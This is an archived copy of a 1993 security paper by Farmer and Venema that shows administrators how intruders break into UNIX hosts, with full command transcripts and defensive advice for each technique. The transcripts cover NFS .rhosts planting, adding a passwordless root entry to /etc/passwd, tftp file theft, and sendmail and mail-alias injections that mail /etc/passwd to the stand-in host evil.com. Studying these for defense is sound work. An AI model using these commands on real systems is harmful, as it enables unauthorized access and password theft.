home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / general / securick.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  51.3 KB  |  1,161 lines

  1.  
  2.  Improving the Security of Your Site by Breaking Into it
  3.  
  4.  
  5.  
  6.     Dan Farmer              Wietse Venema
  7.     Sun Microsystems        Eindhoven University of Technology
  8.     zen@sun.com             wietse@wzv.win.tue.nl
  9.  
  10.  
  11. Introduction
  12.  
  13. Every day, all over the world, computer networks and hosts are being
  14. broken into.  The level of sophistication of these attacks varies
  15. widely; while it is generally believed that most break-ins succeed due
  16. to weak passwords, there are still a large number of intrusions that use
  17. more advanced techniques to break in.  Less is known about the latter
  18. types of break-ins, because by their very nature they are much harder to
  19. detect.
  20.  
  21.  
  22. CERT.  SRI.  The Nic.  NCSC.  RSA.  NASA.  MIT.  Uunet.  Berkeley.
  23. Purdue.  Sun.  You name it, we've seen it broken into.  Anything that is
  24. on the Internet (and many that isn't) seems to be fairly easy game.  Are
  25. these targets unusual?  What happened?
  26.  
  27.  
  28.  
  29. Fade to...
  30.  
  31. A young boy, with greasy blonde hair, sitting in a dark room.  The room
  32. is illuminated only by the luminescense of the C64's 40 character
  33. screen.  Taking another long drag from his Benson and Hedges cigarette,
  34. the weary system cracker telnets to the next faceless ".mil" site on his
  35. hit list.  "guest -- guest", "root -- root", and "system -- manager" all
  36. fail.  No matter.  He has all night... he pencils the host off of his
  37. list, and tiredly types in the next potential victim...
  38.  
  39. This seems to be the popular image of a system cracker.  Young,
  40. inexperienced, and possessing vast quantities of time to waste, to get
  41. into just one more system.  However, there is a far more dangerous type
  42. of system cracker out there.  One who knows the ins and outs of the
  43. latest security auditing and cracking tools, who can modify them for
  44. specific attacks, and who can write his/her own programs.  One who not
  45. only reads about the latest security holes, but also personally
  46. discovers bugs and vulnerabilities.  A deadly creature that can both
  47. strike poisonously and hide its tracks without a whisper or hint of a
  48. trail.  The uebercracker is here.
  49.  
  50.  
  51.  
  52. Why "uebercracker"? The idea is stolen, obviously, from Nietzsche's
  53. uebermensch, or, literally translated into English, "over man."
  54. Nietzsche used the term not to refer to a comic book superman, but
  55. instead a man who had gone beyond the incompetence, pettiness, and
  56. weakness of the everyday man.  The uebercracker is therefore the system
  57. cracker who has gone beyond simple cookbook methods of breaking into
  58. systems.  An uebercracker is not usually motivated to perform random
  59. acts of violence.  Targets are not arbitrary -- there is a purpose,
  60. whether it be personal monetary gain, a hit and run raid for
  61. information, or a challenge to strike a major or prestigious site or
  62. net.personality.  An uebercracker is hard to detect, harder to stop, and
  63. hardest to keep out of your site for good.
  64.  
  65. Overview
  66.  
  67. In this paper we will take an unusual approach to system security.
  68. Instead of merely saying that something is a problem, we will look
  69. through the eyes of a potential intruder, and show _why_ it is one.  We
  70. will illustrate that even seemingly harmless network services can become
  71. valuable tools in the search for weak points of a system, even when
  72. these services are operating exactly as they are intended to.
  73.  
  74. In an effort to shed some light on how more advanced intrusions occur,
  75. this paper outlines various mechanisms that crackers have actually used
  76. to obtain access to systems and, in addition, some techniques we either
  77. suspect intruders of using, or that we have used ourselves in tests or
  78. in friendly/authorized environments.
  79.  
  80. Our motivation for writing this paper is that system administrators are
  81. often unaware of the dangers presented by anything beyond the most
  82. trivial attacks.  While it is widely known that the proper level of
  83. protection depends on what has to be protected, many sites appear to
  84. lack the resources to assess what level of host and network security is
  85. adequate.  By showing what intruders can do to gain access to a remote
  86. site, we are trying to help system administrators to make _informed_
  87. decisions on how to secure their site -- or not.  We will limit the
  88. discussion to techniques that can give a remote intruder access to a
  89. (possibly non-interactive) shell process on a UNIX host.  Once this is
  90. achieved, the details of obtaining root privilege are beyond the scope
  91. of this work -- we consider them too site-dependent and, in many cases,
  92. too trivial to merit much discussion.
  93.  
  94. We want to stress that we will not merely run down a list of bugs or
  95. security holes -- there will always be new ones for a potential attacker
  96. to exploit.  The purpose of this paper is to try to get the reader to
  97. look at her or his system in a new way -- one that will hopefully afford
  98. him or her the opportunity to _understand_ how their system can be
  99. compromised, and how.
  100.  
  101. We would also like to reiterate to the reader that the purpose of this
  102. paper is to show you how to test the security of your own site, not how
  103. to break into other people's systems.  The intrusion techniques we
  104. illustrate here will often leave traces in your system auditing logs --
  105. it might be constructive to examine them after trying some of these
  106. attacks out, to see what a real attack might look like.  Certainly other
  107. sites and system administrators will take a very dim view of your
  108. activities if you decide to use their hosts for security testing without
  109. advance authorization; indeed, it is quite possible that legal action
  110. may be pursued against you if they perceive it as an attack.
  111.  
  112. There are four main parts to the paper.  The first part is the
  113. introduction and overview.  The second part attempts to give the reader
  114. a feel for what it is like to be an intruder and how to go from knowing
  115. nothing about a system to compromising its security.  This section goes
  116. over actual techniques to gain information and entrance and covers basic
  117. strategies such as exploiting trust and abusing improperly configured
  118. basic network services (ftp, mail, tftp, etc.)  It also discusses
  119. slightly more advanced topics, such as NIS and NFS, as well as various
  120. common bugs and configuration problems that are somewhat more OS or
  121. system specific.  Defensive strategies against each of the various
  122. attacks are also covered here.
  123.  
  124. The third section deals with trust: how the security of one system
  125. depends on the integrity of other systems.  Trust is the most complex
  126. subject in this paper, and for the sake of brevity we will limit the
  127. discussion to clients in disguise.
  128.  
  129. The fourth section covers the basic steps that a system administrator
  130. may take to protect her or his system.  Most of the methods presented
  131. here are merely common sense, but they are often ignored in practice --
  132. one of our goals is to show just how dangerous it can be to ignore basic
  133. security practices.
  134.  
  135. Case studies, pointers to security-related information, and software are
  136. described in the appendices at the end of the paper.
  137.  
  138. While exploring the methods and strategies discussed in this paper we we
  139. wrote SATAN (Security Analysis Tool for Auditing Networks.)  Written in
  140. shell, perl, expect and C, it examines a remote host or set of hosts and
  141. gathers as much information as possible by remotely probing NIS, finger,
  142. NFS, ftp and tftp, rexd, and other services.  This information includes
  143. the presence of various network information services as well as
  144. potential security flaws -- usually in the form of incorrectly setup or
  145. configured network services, well-known bugs in system or network
  146. utilities, or poor or ignorant policy decisions.  It then can either
  147. report on this data or use an expert system to further investigate any
  148. potential security problems.  While SATAN doesn't use all of the methods
  149. that we discuss in the paper, it has succeeded with ominous regularity
  150. in finding serious holes in the security of Internet sites.  It will be
  151. posted and made available via anonymous ftp when completed; Appendix A
  152. covers its salient features.
  153.  
  154. Note that it isn't possible to cover all possible methods of breaking
  155. into systems in a single paper.  Indeed, we won't cover two of the most
  156. effective methods of breaking into hosts: social engineering and
  157. password cracking.  The latter method is so effective, however, that
  158. several of the strategies presented here are geared towards acquiring
  159. password files.  In addition, while windowing systems (X, OpenWindows,
  160. etc.) can provide a fertile ground for exploitation, we simply don't
  161. know many methods that are used to break into remote systems.  Many
  162. system crackers use non-bitmapped terminals which can prevent them from
  163. using some of the more interesting methods to exploit windowing systems
  164. effectively (although being able to monitor the victim's keyboard is
  165. often sufficient to capture passwords).  Finally, while worms, viruses,
  166. trojan horses, and other malware are very interesting, they are not
  167. common (on UNIX systems) and probably will use similar techniques to the
  168. ones we describe in this paper as individual parts to their attack
  169. strategy.
  170.  
  171. Gaining Information
  172.  
  173. Let us assume that you are the head system administrator of Victim
  174. Incorporated's network of UNIX workstations.  In an effort to secure
  175. your machines, you ask a friendly system administrator from a nearby
  176. site (evil.com) to give you an account on one of her machines so that
  177. you can look at your own system's security from the outside.
  178.  
  179. What should you do?  First, try to gather information about your
  180. (target) host.  There is a wealth of network services to look at:
  181. finger, showmount, and rpcinfo are good starting points.  But don't stop
  182. there -- you should also utilize DNS, whois, sendmail (smtp), ftp, uucp,
  183. and as many other services as you can find.  There are so many methods
  184. and techniques that space precludes us from showing all of them, but we
  185. will try to show a cross-section of the most common and/or dangerous
  186. strategies that we have seen or have thought of.  Ideally, you would
  187. gather such information about all hosts on the subnet or area of attack
  188. --- information is power -- but for now we'll examine only our intended
  189. target.
  190.  
  191. To start out, you look at what the ubiquitous finger command shows you
  192. (assume it is 6pm, Nov 6, 1993):
  193.  
  194.  
  195.  victim % finger @victim.com
  196.  [victim.com]
  197.  Login       Name             TTY Idle     When    Where
  198.  zen      Dr.  Fubar           co   1d  Wed 08:00   death.com
  199.  
  200.  
  201. Good!  A single idle user -- it is likely that no one will notice if you
  202. actually manage to break in.
  203.  
  204. Now you try more tactics.  As every finger devotee knows, fingering "@",
  205. "0", and "", as well as common names, such as root, bin, ftp, system,
  206. guest, demo, manager, etc., can reveal interesting information.  What
  207. that information is depends on the version of finger that your target is
  208. running, but the most notable are account names, along with their home
  209. directories and the host that they last logged in from.
  210.  
  211. To add to this information, you can use rusers (in particular with the
  212. -l flag) to get useful information on logged-in users.
  213.  
  214. Trying these commands on victim.com reveals the following information,
  215. presented in a compressed tabular form to save space:
  216.  
  217.  
  218.  Login   Home-dir    Shell      Last login, from where
  219.  -----   --------    -----      ----------------------
  220.  root    /           /bin/sh    Fri Nov 5 07:42 on ttyp1 from big.victim.com
  221.  bin     /bin                   Never logged in
  222.  nobody  /                      Tue Jun 15 08:57 on ttyp2 from server.victim.co
  223.  daemon  /                      Tue Mar 23 12:14 on ttyp0 from big.victim.com
  224.  sync    /           /bin/sync  Tue Mar 23 12:14 on ttyp0 from big.victim.com
  225.  zen     /home/zen   /bin/bash  On since Wed Nov  6 on ttyp3 from death.com
  226.  sam     /home/sam   /bin/csh   Wed Nov  5 05:33 on ttyp3 from evil.com
  227.  guest   /export/foo /bin/sh    Never logged in
  228.  ftp     /home/ftp              Never logged in
  229.  
  230.  
  231. Both our experiments with SATAN and watching system crackers at work
  232. have proved to us that finger is one of the most dangerous services,
  233. because it is so useful for investigating a potential target.  However,
  234. much of this information is useful only when used in conjunction with
  235. other data.
  236.  
  237. For instance, running showmount on your target reveals:
  238.  
  239.  
  240.  evil % showmount -e victim.com
  241.  export list for victim.com:
  242.  /export                            (everyone)
  243.  /var                               (everyone)
  244.  /usr                               easy
  245.  /export/exec/kvm/sun4c.sunos.4.1.3 easy
  246.  /export/root/easy                  easy
  247.  /export/swap/easy                  easy
  248.  
  249.  
  250. Note that /export/foo is exported to the world; also note that this is
  251. user guest's home directory.  Time for your first break-in!  In this
  252. case, you'll mount the home directory of user "guest."  Since you don't
  253. have a corresponding account on the local machine and since root cannot
  254. modify files on an NFS mounted filesystem, you create a "guest" account
  255. in your local password file.  As user guest you can put an .rhosts entry
  256. in the remote guest home directory, which will allow you to login to the
  257. target machine without having to supply a password.
  258.  
  259.  
  260.  evil # mount victim.com:/export/foo /foo
  261.  evil # cd /foo
  262.  evil # ls -lag
  263.  total 3
  264.     1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
  265.     1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
  266.     1 drwx--x--x  9 10001    daemon       1024 Aug  3 15:49 guest
  267.  evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
  268.  evil # ls -lag
  269.  total 3
  270.     1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
  271.     1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
  272.     1 drwx--x--x  9 guest    daemon       1024 Aug  3 15:49 guest
  273.  evil # su guest
  274.  evil % echo victim.com >> guest/.rhosts
  275.  evil % rlogin victim.com
  276.      Welcome to victim.com!
  277.  victim %
  278.  
  279.  
  280. If, instead of home directories, victim.com were exporting filesystems
  281. with user commands (say, /usr or /usr/local/bin), you could replace a
  282. command with a trojan horse that executes any command of your choice.
  283. The next user to execute that command would execute your program.
  284.  
  285. We suggest that filesystems be exported:
  286.  
  287.  - Read/write only to specific, trusted clients.
  288.  - Read-only, where possible (data or programs can often be
  289.    exported in this manner.)
  290.  
  291. If the target has a "+" wildcard in its /etc/hosts.equiv (the default in
  292. various vendor's machines) or has the netgroups bug (CERT advisory
  293. 91:12), any non-root user with a login name in the target's password
  294. file can rlogin to the target without a password.  And since the user
  295. "bin" often owns key files and directories, your next attack is to try
  296. to log in to the target host and modify the password file to let you
  297. have root access:
  298.  
  299.  
  300.  evil % whoami
  301.  bin
  302.  evil % rsh victim.com csh -i
  303.  Warning: no access to tty; thus no job control in this shell...
  304.  victim %  ls -ldg /etc
  305.  drwxr-sr-x  8 bin      staff        2048 Jul 24 18:02 /etc
  306.  victim %  cd /etc
  307.  victim %  mv passwd pw.old
  308.  victim %  (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
  309.  victim % ^D
  310.  evil % rlogin victim.com -l toor
  311.      Welcome to victim.com!
  312.  victim #
  313.  
  314.  
  315. A few notes about the method used above; "rsh victim.com csh -i" is used
  316. to initially get onto the system because it doesn't leave any traces in
  317. the wtmp or utmp system auditing files, making the rsh invisible for
  318. finger and who.  The remote shell isn't attached to a pseudo-terminal,
  319. however, so that screen-oriented programs such as pagers and editors
  320. will fail -- but it is very handy for brief exploration.
  321.  
  322. The COPS security auditing tool (see appendix D) will report key files
  323. or directories that are writable to accounts other than the
  324. superuser. If you run SunOS 4.x you can apply patch 100103 to fix most
  325. file permission problems. On many systems, rsh probes as shown above,
  326. even when successful, would remain completely unnoticed; the tcp wrapper
  327. (appendix D), which logs incoming connections, can help to expose such
  328. activities.
  329.  
  330.  
  331.  
  332. What now?  Have you uncovered all the holes on your target system?  Not
  333. by a long shot.  Going back to the finger results on your target, you
  334. notice that it has an "ftp" account, which usually means that anonymous
  335. ftp is enabled.  Anonymous ftp can be an easy way to get access, as it
  336. is often misconfigured.  For example, the target may have a complete
  337. copy of the /etc/passwd file in the anonymous ftp ~ftp/etc directory
  338. instead of a stripped down version.  In this example, though, you see
  339. that the latter doesn't seem to be true (how can you tell without
  340. actually examining the file?)  However, the home directory of ftp on
  341. victim.com is writable.  This allows you to remotely execute a command
  342. -- in this case, mailing the password file back to yourself -- by the
  343. simple method of creating a .forward file that executes a command when
  344. mail is sent to the ftp account. This is the same mechanism of piping
  345. mail to a program that the "vacation" program uses to automatically
  346. reply to mail messages.
  347.  
  348.  
  349.  evil % cat forward_sucker_file
  350.  "|/bin/mail zen@evil.com < /etc/passwd"
  351.  
  352.  evil % ftp victim.com
  353.  Connected to victim.com
  354.  220 victim FTP server ready.
  355.  Name (victim.com:zen): ftp
  356.  331 Guest login ok, send ident as password.
  357.  Password:
  358.  230 Guest login ok, access restrictions apply.
  359.  ftp> ls -lga
  360.  200 PORT command successful.
  361.  150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
  362.  total 5
  363.  drwxr-xr-x  4 101      1             512 Jun 20  1991 .
  364.  drwxr-xr-x  4 101      1             512 Jun 20  1991 ..
  365.  drwxr-xr-x  2 0        1             512 Jun 20  1991 bin
  366.  drwxr-xr-x  2 0        1             512 Jun 20  1991 etc
  367.  drwxr-xr-x  3 101      1             512 Aug 22  1991 pub
  368.  226 ASCII Transfer complete.
  369.  242 bytes received in 0.066 seconds (3.6 Kbytes/s)
  370.  ftp> put forward_sucker_file .forward
  371.  43 bytes sent in 0.0015 seconds (28 Kbytes/s)
  372.  ftp> quit
  373.  evil % echo test | mail ftp@victim.com
  374.  
  375.  
  376. Now you simply wait for the password file to be sent back to you.
  377.  
  378. The security auditing tool COPS will check your anonymous ftp setup; see
  379. the man page for ftpd, the documentation/code for COPS, or CERT advisory
  380. 93:10 for information on how to set up anonymous ftp correctly.
  381. Vulnerabilities in ftp are often a matter of incorrect ownership or
  382. permissions of key files or directories. At the very least, make sure
  383. that ~ftp and all "system" directories and files below ~ftp are owned by
  384. root and are not writable by any user.
  385.  
  386. While looking at ftp, you can check for an older bug that was once
  387. widely exploited:
  388.  
  389.  
  390.  % ftp -n
  391.  ftp> open victim.com
  392.  Connected to victim.com
  393.  220 victim.com FTP server ready.
  394.  ftp> quote user ftp
  395.  331 Guest login ok, send ident as password.
  396.  ftp> quote cwd ~root
  397.  530 Please login with USER and PASS.
  398.  ftp> quote pass ftp
  399.  230 Guest login ok, access restrictions apply.
  400.  ftp> ls -al / (or whatever)
  401.  
  402.  
  403. If this works, you now are logged in as root, and able to modify the
  404. password file, or whatever you desire.  If your system exhibits this
  405. bug, you should definitely get an update to your ftpd daemon, either
  406. from your vendor or (via anon ftp) from ftp.uu.net.
  407.  
  408. The wuarchive ftpd, a popular replacement ftp daemon put out by the
  409. Washington University in Saint Louis, had almost the same problem.  If
  410. your wuarchive ftpd pre-dates April 8, 1993, you should replace it by a
  411. more recent version.
  412.  
  413. Finally, there is a program vaguely similar to ftp -- tftp, or the
  414. trivial file transfer program.  This daemon doesn't require any password
  415. for authentication; if a host provides tftp without restricting the
  416. access (usually via some secure flag set in the inetd.conf file), an
  417. attacker can read and write files anywhere on the system. In the
  418. example, you get the remote password file and place it in your local
  419. /tmp directory:
  420.  
  421.  
  422.  evil % tftp
  423.  tftp> connect victim.com
  424.  tftp> get /etc/passwd /tmp/passwd.victim
  425.  tftp> quit
  426.  
  427.  
  428. For security's sake, tftp should not be run; if tftp is necessary, use
  429. the secure option/flag to restrict access to a directory that has no
  430. valuable information, or run it under the control of a chroot wrapper
  431. program.
  432.  
  433.  
  434.  
  435. If none of the previous methods have worked, it is time to go on to more
  436. drastic measures.  You have a friend in rpcinfo, another very handy
  437. program, sometimes even more useful than finger.  Many hosts run RPC
  438. services that can be exploited; rpcinfo can talk to the portmapper and
  439. show you the way.  It can tell you if the host is running NIS, if it is
  440. a NIS server or slave, if a diskless workstation is around, if it is
  441. running NFS, any of the info services (rusersd, rstatd, etc.), or any
  442. other unusual programs (auditing or security related).  For instance,
  443. going back to our sample target:
  444.  
  445.  
  446.  evil % rpcinfo -p victim.com    [output trimmed for brevity's sake]
  447.     program vers proto   port
  448.      100004    2   tcp    673  ypserv
  449.      100005    1   udp    721  mountd
  450.      100003    2   udp   2049  nfs
  451.      100026    1   udp    733  bootparam
  452.      100017    1   tcp   1274  rexd
  453.  
  454.  
  455. In this case, you can see several significant facts about our target;
  456. first of which is that it is an NIS server.  It is perhaps not widely
  457. known, but once you know the NIS domainname of a server, you can get any
  458. of its NIS maps by a simple rpc query, even when you are outside the
  459. subnet served by the NIS server (for example, using the YPX program that
  460. can be found in the comp.sources.misc archives on ftp.uu.net).  In
  461. addition, very much like easily guessed passwords, many systems use
  462. easily guessed NIS domainnames.  Trying to guess the NIS domainname is
  463. often very fruitful. Good candidates are the fully and partially
  464. qualified hostname (e.g.  "victim" and "victim.com"), the organization
  465. name, netgroup names in "showmount" output, and so on.  If you wanted to
  466. guess that the domainname was "victim", you could type:
  467.  
  468.  
  469.  evil % ypwhich -d victim victim.com
  470.  Domain victim not bound.
  471.  
  472.  
  473. This was an unsuccessful attempt; if you had guessed correctly it would
  474. have returned with the host name of victim.com's NIS server.  However,
  475. note from the NFS section that victim.com is exporting the "/var"
  476. directory to the world.  All that is needed is to mount this directory
  477. and look in the "yp" subdirectory -- among other things you will see
  478. another subdirectory that contains the domainname of the target.
  479.  
  480.  
  481.  evil # mount victim.com:/var /foo
  482.  evil # cd /foo
  483.  evil # /bin/ls -alg /foo/yp
  484.  total 17
  485.     1 drwxr-sr-x  4 root     staff         512 Jul 12 14:22 .
  486.     1 drwxr-sr-x 11 root     staff         512 Jun 29 10:54 ..
  487.    11 -rwxr-xr-x  1 root     staff       10993 Apr 22 11:56 Makefile
  488.     1 drwxr-sr-x  2 root     staff         512 Apr 22 11:20 binding
  489.     2 drwxr-sr-x  2 root     staff        1536 Jul 12 14:22 foo_bar
  490.     [...]
  491.  
  492.  
  493. In this case, "foo_bar" is the NIS domain name.
  494.  
  495. In addition, the NIS maps often contain a good list of user/employee
  496. names as well as internal host lists, not to mention passwords for
  497. cracking.
  498.  
  499. Appendix C details the results of a case study on NIS password files.
  500.  
  501.  
  502.  
  503. You note that the rpcinfo output also showed that victim.com runs rexd.
  504. Like the rsh daemon, rexd processes requests of the form "please execute
  505. this command as that user". Unlike rshd, however, rexd does not care if
  506. the client host is in the hosts.equiv or .rhost files. Normally the rexd
  507. client program is the "on" command, but it only takes a short C program
  508. to send arbitrary client host and userid information to the rexd server;
  509. rexd will happily execute the command.  For these reasons, running rexd
  510. is similar to having no passwords at all: all security is in the client,
  511. not in the server where it should be. Rexd security can be improved
  512. somewhat by using secure RPC.
  513.  
  514.  
  515.  
  516. While looking at the output from rpcinfo, you observe that victim.com
  517. also seems to be a server for diskless workstations. This is evidenced
  518. by the presence of the bootparam service, which provides information to
  519. the diskless clients for booting.  If you ask nicely, using
  520. BOOTPARAMPROC_WHOAMI and provide the address of a client, you can get
  521. its NIS domainname.  This can be very useful when combined with the fact
  522. that you can get arbitrary NIS maps (such as the password file) when you
  523. know the NIS domainname.  Here is a sample code snippet to do just that
  524. (bootparam is part of SATAN.)
  525.  
  526.  
  527.     char   *server;
  528.     struct bp_whoami_arg arg;           /* query */
  529.     struct bp_whoami_res res;           /* reply */
  530.  
  531.     /* initializations omitted... */
  532.  
  533.     callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
  534.             xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);
  535.  
  536.     printf("%s has nisdomain %s\n", server, res.domain_name);
  537.  
  538.  
  539. The showmount output indicated that "easy" is a diskless client of
  540. victim.com, so we use its client address in the BOOTPARAMPROC_WHOAMI
  541. query:
  542.  
  543.  
  544.  evil % bootparam victim.com easy.victim.com
  545.  victim.com has nisdomain foo_bar
  546.  
  547.  
  548.  
  549.  
  550. NIS masters control the mail aliases for the NIS domain in question.
  551. Just like local mail alias files, you can create a mail alias that will
  552. execute commands when mail is sent to it (a once popular example of this
  553. is the "decode" alias which uudecodes mail files sent to it.)  For
  554. instance, here you create an alias "foo", which mails the password file
  555. back to evil.com by simply mailing any message to it:
  556.  
  557.  
  558.  nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >> /etc/aliases
  559.  nis-master # cd /var/yp
  560.  nis-master # make aliases
  561.  nis-master # echo test | mail -v foo@victim.com
  562.  
  563.  
  564. Hopefully attackers won't have control of your NIS master host, but even
  565. more hopefully the lesson is clear -- NIS is normally insecure, but if
  566. an attacker has control of your NIS master, then s/he effectively has
  567. control of the client hosts (e.g. can execute arbitrary commands).
  568.  
  569. There aren't many effective defenses against NIS attacks; it is an
  570. insecure service that has almost no authentication between clients and
  571. servers.  To make things worse, it seems fairly clear that arbitrary
  572. maps can be forced onto even master servers (e.g., it is possible to
  573. treat an NIS server as a client). This, obviously, would subvert the
  574. entire schema.  If it is absolutely necessary to use NIS, choosing a
  575. hard to guess domainname can help slightly, but if you run diskless
  576. clients that are exposed to potential attackers then it is trivial for
  577. an attacker to defeat this simple step by using the bootparam trick to
  578. get the domainname.  If NIS is used to propagate the password maps, then
  579. shadow passwords do not give additional protection because the shadow
  580. map is still accessible to any attacker that has root on an attacking
  581. host.  Better is to use NIS as little as possible, or to at least
  582. realize that the maps can be subject to perusal by potentially hostile
  583. forces.
  584.  
  585. Secure RPC goes a long way to diminish the threat, but it has its own
  586. problems, primarily in that it is difficult to administer, but also in
  587. that the cryptographic methods used within are not very strong.  It has
  588. been rumored that NIS+, Sun's new network information service, fixes
  589. some of these problems, but until now it has been limited to running on
  590. Suns, and thus far has not lived up to the promise of the design.
  591. Finally, using packet filtering (at the very least port 111) or
  592. securelib (see appendix D), or, for Suns, applying Sun patch 100482-02
  593. all can help.
  594.  
  595.  
  596.  
  597. The portmapper only knows about RPC services.  Other network services
  598. can be located with a brute-force method that connects to all network
  599. ports.  Many network utilities and windowing systems listen to specific
  600. ports (e.g. sendmail is on port 25, telnet is on port 23, X windows is
  601. usually on port 6000, etc.)  SATAN includes a program that scans the
  602. ports of a remote hosts and reports on its findings; if you run it
  603. against our target, you see:
  604.  
  605.  
  606.  evil % tcpmap victim.com
  607.  Mapping 128.128.128.1
  608.  port 21: ftp
  609.  port 23: telnet
  610.  port 25: smtp
  611.  port 37: time
  612.  port 79: finger
  613.  port 512: exec
  614.  port 513: login
  615.  port 514: shell
  616.  port 515: printer
  617.  port 6000: (X)
  618.  
  619.  
  620. This suggests that victim.com is running X windows.  If not protected
  621. properly (via the magic cookie or xhost mechanisms), window displays can
  622. be captured or watched, user keystrokes may be stolen, programs executed
  623. remotely, etc.  Also, if the target is running X and accepts a telnet to
  624. port 6000, that can be used for a denial of service attack, as the
  625. target's windowing system will often "freeze up" for a short period of
  626. time.  One method to determine the vulnerability of an X server is to
  627. connect to it via the XOpenDisplay() function; if the function returns
  628. NULL then you cannot access the victim's display (opendisplay is part of
  629. SATAN):
  630.  
  631.  
  632.     char   *hostname;
  633.  
  634.     if (XOpenDisplay(hostname) == NULL) {
  635.        printf("Cannot open display: %s\n", hostname);
  636.     } else {
  637.        printf("Can open display: %s\n", hostname);
  638.     }
  639.  
  640.  evil % opendisplay victim.com:0
  641.  Cannot open display: victim.com:0
  642.  
  643.  
  644. X terminals, though much less powerful than a complete UNIX system, can
  645. have their own security problems.  Many X terminals permit unrestricted
  646. rsh access, allowing you to start X client programs in the victim's
  647. terminal with the output appearing on your own screen:
  648.  
  649.  
  650.  evil % xhost +xvictim.victim.com
  651.  evil % rsh xvictim.victim.com telnet victim.com -display evil.com
  652.  
  653.  
  654. In any case, give as much thought to your window security as your
  655. filesystem and network utilities, for it can compromise your system as
  656. surely as a "+" in your hosts.equiv or a passwordless (root) account.
  657.  
  658.  
  659.  
  660. Next, you examine sendmail.  Sendmail is a very complex program that has
  661. a long history of security problems, including the infamous "wiz"
  662. command (hopefully long since disabled on all machines).  You can often
  663. determine the OS, sometimes down to the version number, of the target,
  664. by looking at the version number returned by sendmail.  This, in turn,
  665. can give you hints as to how vulnerable it might be to any of the
  666. numerous bugs.  In addition, you can see if they run the "decode" alias,
  667. which has its own set of problems:
  668.  
  669.  
  670.  evil % telnet victim.com 25
  671.  connecting to host victim.com (128.128.128.1.), port 25
  672.  connection open
  673.  220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
  674.  expn decode
  675.  250 <"|/usr/bin/uudecode">
  676.  quit
  677.  
  678.  
  679. Running the "decode" alias is a security risk -- it allows potential
  680. attackers to overwrite any file that is writable by the owner of that
  681. alias -- often daemon, but potentially any user.  Consider this piece of
  682. mail -- this will place "evil.com" in user zen's .rhosts file if it is
  683. writable:
  684.  
  685.  
  686.  evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail decode@victim.com
  687.  
  688.  
  689. If no home directories are known or writable, an interesting variation
  690. of this is to create a bogus /etc/aliases.pag file that contains an
  691. alias with a command you wish to execute on your target.  This may work
  692. since on many systems the aliases.pag and aliases.dir files, which
  693. control the system's mail aliases, are writable to the world.
  694.  
  695.  
  696.  evil % cat decode
  697.  bin: "| cat /etc/passwd | mail zen@evil.com"
  698.  evil % newaliases -oQ/tmp -oA`pwd`/decode
  699.  evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
  700.  evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null
  701.  
  702.  
  703. A lot of things can be found out by just asking sendmail if an address
  704. is acceptable (vrfy), or what an address expands to (expn).  When the
  705. finger or rusers services are turned off, vrfy and expn can still be
  706. used to identify user accounts or targets.  Vrfy and expn can also be
  707. used to find out if the user is piping mail through any program that
  708. might be exploited (e.g. vacation, mail sorters, etc.).  It can be a
  709. good idea to disable the vrfy and expn commands: in most versions, look
  710. at the source file srvrsmtp.c, and either delete or change the two lines
  711. in the CmdTab structure that have the strings "vrfy" and "expn".  Sites
  712. without source can still disable expn and vrfy by just editing the
  713. sendmail executable with a binary editor and replacing "vrfy" and "expn"
  714. with blanks.  Acquiring a recent version of sendmail (see Appendix D) is
  715. also an extremely good idea, since there have probably been more
  716. security bugs reported in sendmail than in any other UNIX program.
  717.  
  718.  
  719.  
  720. As a sendmail-sendoff, there are two fairly well known bugs that should
  721. be checked into.  The first was definitely fixed in version 5.59 from
  722. Berkeley; despite the messages below, for versions of sendmail previous
  723. to 5.59, the "evil.com" gets appended, despite the error messages, along
  724. with all of the typical mail headers, to the file specified:
  725.  
  726.  
  727.  % cat evil_sendmail
  728.  telnet victim.com 25 << EOSM
  729.  rcpt to: /home/zen/.rhosts
  730.  mail from: zen
  731.  data
  732.  random garbage
  733.  .
  734.  rcpt to: /home/zen/.rhosts
  735.  mail from: zen
  736.  data
  737.  evil.com
  738.  .
  739.  quit
  740.  EOSM
  741.  
  742.  evil % /bin/sh evil_sendmail
  743.  Trying 128.128.128.1
  744.  Connected to victim.com
  745.  Escape character is '^]'.
  746.  Connection closed by foreign host.
  747.  
  748.  evil % rlogin victim.com -l zen
  749.      Welcome to victim.com!
  750.  victim %
  751.  
  752.  
  753. The second hole, fixed only recently, permitted anyone to specify
  754. arbitrary shell commands and/or pathnames for the sender and/or
  755. destination address.  Attempts to keep details secret were in vain, and
  756. extensive discussions in mailing lists and usenet news groups led to
  757. disclosure of how to exploit some versions of the bug.  As with many
  758. UNIX bugs, nearly every vendor's sendmail was vulnerable to the problem,
  759. since they all share a common source code tree ancestry.  Space
  760. precludes us from discussing it fully, but a typical attack to get the
  761. password file might look like this:
  762.  
  763.  
  764.  evil % telnet victim.com 25
  765.  Trying 128.128.128.1...
  766.  Connected to victim.com
  767.  Escape character is '^]'.
  768.  220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
  769.  mail from: "|/bin/mail zen@evil.com < /etc/passwd"
  770.  250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
  771.  rcpt to: nosuchuser
  772.  550 nosuchuser... User unknown
  773.  data
  774.  354 Enter mail, end with "." on a line by itself
  775.  .
  776.  250 Mail accepted
  777.  quit
  778.  Connection closed by foreign host.
  779.  evil %
  780.  
  781.  
  782. At the time of writing, version 8.6.4 of sendmail (see Appendix D for
  783. information on how to get this) is reportedly the only variant of
  784. sendmail with all of the recent security bugs fixed.
  785.  
  786. Trust
  787.  
